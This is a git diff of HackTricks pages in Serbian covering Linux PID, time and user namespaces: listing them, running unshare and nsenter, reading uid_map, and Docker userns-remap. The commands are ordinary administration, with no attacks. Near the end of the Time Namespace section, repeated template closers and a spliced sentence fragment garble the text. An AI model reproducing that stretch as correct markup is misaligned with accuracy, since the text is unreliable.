Da biste proverili u kojem namespace-u se nalazi vaš proces, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
ls -l /proc/$$/ns
|
||||
```
|
||||
|
||||
Ova komanda će vam prikazati sve namespace-ove u kojima se trenutno nalazi vaš proces.
|
||||
###  Proverite u kojem je namespace vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/pid
|
||||
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
|
||||
```
|
||||
### Pronađite sve PID namespace-ove
|
||||
### Pronađite sve PID imenske prostore
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -86,29 +80,31 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null |
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Imajte na umu da korisnik sa root privilegijama iz početnog (podrazumevanog) PID namespace-a može videti sve procese, čak i one u novim PID namespace-ima, zbog čega možemo videti sve PID namespace-e.
|
||||
Napomena da root korisnik iz inicijalnog (podrazumevanog) PID imenskog prostora može videti sve procese, čak i one u novim PID imenskim prostorima, zato možemo videti sve PID imenske prostore.
|
||||
|
||||
### Uđite unutar PID namespace-a
|
||||
### Ući unutar PID imenskog prostora
|
||||
```bash
|
||||
nsenter -t TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Kada uđete unutar PID namespace-a iz zadanih namespace-a, i dalje ćete moći vidjeti sve procese. I proces iz tog PID ns-a će moći vidjeti novi bash na PID ns-u.
|
||||
Kada uđete u PID namespace iz podrazumevanog namespace-a, i dalje ćete moći da vidite sve procese. A proces iz tog PID ns će moći da vidi novi bash u PID ns.
|
||||
|
||||
Takođe, možete **ući u drugi PID namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega pokazuje (poput `/proc/self/ns/pid`)
|
||||
Takođe, možete **ući u drugi proces PID namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji pokazuje na njega (kao što je `/proc/self/ns/pid`)
|
||||
|
||||
## Reference
|
||||
## References
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite vidjeti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** Provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podijelite svoje hakirajuće trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,52 +1,60 @@
|
|||
# Prostor imena vremena
|
||||
# Time Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
Prostor imena vremena u Linux-u omogućava offsete po prostoru imena za sistemski monotonički i vreme pokretanja. Često se koristi u Linux kontejnerima za promenu datuma/vremena unutar kontejnera i podešavanje satova nakon vraćanja sa kontrolne tačke ili snimka.
|
||||
Vremenski prostor u Linuxu omogućava offsete po prostoru za sistemske monotone i boot-time satove. Često se koristi u Linux kontejnerima za promenu datuma/vremena unutar kontejnera i podešavanje satova nakon vraćanja iz tačke preuzimanja ili snimka.
|
||||
|
||||
## Laboratorija:
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih prostora imena
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -T [--mount-proc] /bin/bash
|
||||
```
|
||||
Montiranjem nove instance `/proc` fajl sistema, korišćenjem parametra `--mount-proc`, obezbeđujete da nova namespace montaža ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
Montiranjem nove instance `/proc` datoteke ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Greška: bash: fork: Ne može da alocira memoriju</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux rukuje novim PID (Process ID) namespace-om. Ključni detalji i rešenje su opisani u nastavku:
|
||||
Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao i `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da alocira novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da alocira memoriju".
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
|
||||
Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alokacije memorije.
|
||||
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u alokaciji memorije.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -54,20 +62,12 @@ Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se praviln
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Proverite u kojem se namespace-u nalazi vaš proces
|
||||
|
||||
Da biste proverili u kojem se namespace-u nalazi vaš proces, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/ns/time
|
||||
```
|
||||
|
||||
Ova komanda će vam prikazati putanju do fajla koji predstavlja namespace vremena za vaš proces.
|
||||
###  Proverite u kojem je namespace vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/time
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
|
||||
```
|
||||
### Pronađite sve vremenske namespace-ove
|
||||
### Pronađite sve Time namespace-ove
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -75,31 +75,39 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Uđite unutar Time namespace-a
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Uđite unutar vremenskog imenskog prostora
|
||||
```bash
|
||||
nsenter -T TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Takođe, možete **ući u drugi proces namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega pokazuje (poput `/proc/self/ns/net`).
|
||||
|
||||
|
||||
## Reference
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,68 @@
|
|||
# User Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
User namespace je funkcionalnost Linux kernela koja **omogućava izolaciju korisničkih i grupnih ID mapiranja**, što omogućava svakom user namespace-u da ima svoj **skup korisničkih i grupnih ID-ova**. Ova izolacija omogućava procesima koji se izvršavaju u različitim user namespace-ima da **imaju različite privilegije i vlasništvo**, čak i ako numerički dele iste korisničke i grupne ID-ove.
|
||||
User namespace je funkcija Linux kernela koja **omogućava izolaciju mapa korisničkih i grupnih ID-ova**, omogućavajući svakom korisničkom prostoru da ima **svoj set korisničkih i grupnih ID-ova**. Ova izolacija omogućava procesima koji se izvršavaju u različitim korisničkim prostorima da **imaju različite privilegije i vlasništvo**, čak i ako dele iste korisničke i grupne ID-ove numerički.
|
||||
|
||||
User namespace-ovi su posebno korisni u kontejnerizaciji, gde svaki kontejner treba da ima svoj nezavisan skup korisničkih i grupnih ID-ova, što omogućava bolju bezbednost i izolaciju između kontejnera i host sistema.
|
||||
Korisnički prostori su posebno korisni u kontejnerizaciji, gde svaki kontejner treba da ima svoj nezavistan set korisničkih i grupnih ID-ova, omogućavajući bolju sigurnost i izolaciju između kontejnera i host sistema.
|
||||
|
||||
### Kako radi:
|
||||
### How it works:
|
||||
|
||||
1. Kada se kreira novi user namespace, **počinje sa praznim skupom korisničkih i grupnih ID-ova**. To znači da će bilo koji proces koji se izvršava u novom user namespace-u **inicijalno nemati privilegije izvan namespace-a**.
|
||||
2. Mapiranja ID-ova mogu se uspostaviti između korisničkih i grupnih ID-ova u novom namespace-u i onih u roditeljskom (ili host) namespace-u. Ovo **omogućava procesima u novom namespace-u da imaju privilegije i vlasništvo koje odgovaraju korisničkim i grupnim ID-ovima u roditeljskom namespace-u**. Međutim, mapiranja ID-ova mogu biti ograničena na određene opsege i podskupove ID-ova, što omogućava preciznu kontrolu nad privilegijama koje se dodeljuju procesima u novom namespace-u.
|
||||
3. Unutar user namespace-a, **procesi mogu imati punu root privilegiju (UID 0) za operacije unutar namespace-a**, dok istovremeno imaju ograničene privilegije izvan namespace-a. Ovo omogućava **kontejnerima da se izvršavaju sa privilegijama sličnim root-u unutar svog sopstvenog namespace-a, bez potpune root privilegije na host sistemu**.
|
||||
4. Procesi mogu prelaziti između namespace-a koristeći `setns()` sistemski poziv ili kreirati nove namespace-e koristeći `unshare()` ili `clone()` sistemski pozive sa `CLONE_NEWUSER` zastavicom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi mapiranja korisničkih i grupnih ID-ova koja su povezana sa tim namespace-om.
|
||||
1. Kada se kreira novi korisnički prostor, on **počinje sa praznim setom mapa korisničkih i grupnih ID-ova**. To znači da bilo koji proces koji se izvršava u novom korisničkom prostoru **prvobitno neće imati privilegije van prostora**.
|
||||
2. Mape ID-ova mogu biti uspostavljene između korisničkih i grupnih ID-ova u novom prostoru i onih u roditeljskom (ili host) prostoru. Ovo **omogućava procesima u novom prostoru da imaju privilegije i vlasništvo koja odgovaraju korisničkim i grupnim ID-ovima u roditeljskom prostoru**. Međutim, mape ID-ova mogu biti ograničene na specifične opsege i podskupove ID-ova, omogućavajući preciznu kontrolu nad privilegijama dodeljenim procesima u novom prostoru.
|
||||
3. Unutar korisničkog prostora, **procesi mogu imati pune root privilegije (UID 0) za operacije unutar prostora**, dok i dalje imaju ograničene privilegije van prostora. Ovo omogućava **kontejnerima da rade sa root-sličnim sposobnostima unutar svog prostora bez punih root privilegija na host sistemu**.
|
||||
4. Procesi mogu prelaziti između prostora koristeći `setns()` sistemski poziv ili kreirati nove prostore koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWUSER` zastavicom. Kada proces pređe u novi prostor ili ga kreira, počeće da koristi mape korisničkih i grupnih ID-ova povezane sa tim prostorom.
|
||||
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih Namespace-ova
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -U [--mount-proc] /bin/bash
|
||||
```
|
||||
Montiranjem nove instance `/proc` fajl sistema, koristeći parametar `--mount-proc`, obezbeđujete da nova namespace montaža ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Greška: bash: fork: Ne može da alocira memoriju</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux obrađuje nove PID (Process ID) namespace-ove. Ključni detalji i rešenje su opisani u nastavku:
|
||||
Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel tada onemogućava alokaciju PID-ova u tom namespace-u.
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi procesa. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da alocira novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da alocira memoriju".
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-ova.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
|
||||
Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alociranja memorije.
|
||||
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u alokaciji memorije.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,24 +70,24 @@ Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se praviln
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
Da biste koristili korisnički prostor imena, Docker demon mora biti pokrenut sa **`--userns-remap=default`** (U Ubuntu 14.04, ovo se može postići izmenom `/etc/default/docker` datoteke, a zatim izvršavanjem `sudo service docker restart`).
|
||||
Da biste koristili korisnički prostor, Docker demon treba da se pokrene sa **`--userns-remap=default`** (U ubuntu 14.04, to se može uraditi modifikovanjem `/etc/default/docker` i zatim izvršavanjem `sudo service docker restart`)
|
||||
|
||||
###  Proverite u kojem se prostoru imena nalazi vaš proces
|
||||
###  Proverite u kojem je prostoru vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/user
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
|
||||
```
|
||||
Moguće je proveriti mapu korisnika iz Docker kontejnera pomoću:
|
||||
Moguće je proveriti mapu korisnika iz docker kontejnera sa:
|
||||
```bash
|
||||
cat /proc/self/uid_map
|
||||
0 0 4294967295 --> Root is root in host
|
||||
0 231072 65536 --> Root is 231072 userid in host
|
||||
```
|
||||
Ili sa domaćina sa:
|
||||
Ili sa hosta sa:
|
||||
```bash
|
||||
cat /proc/<pid>/uid_map
|
||||
```
|
||||
### Pronađite sve korisničke namespace-ove
|
||||
### Pronađite sve korisničke imenske prostore
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -90,23 +97,13 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null |
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Uđite unutar korisničkog namespace-a
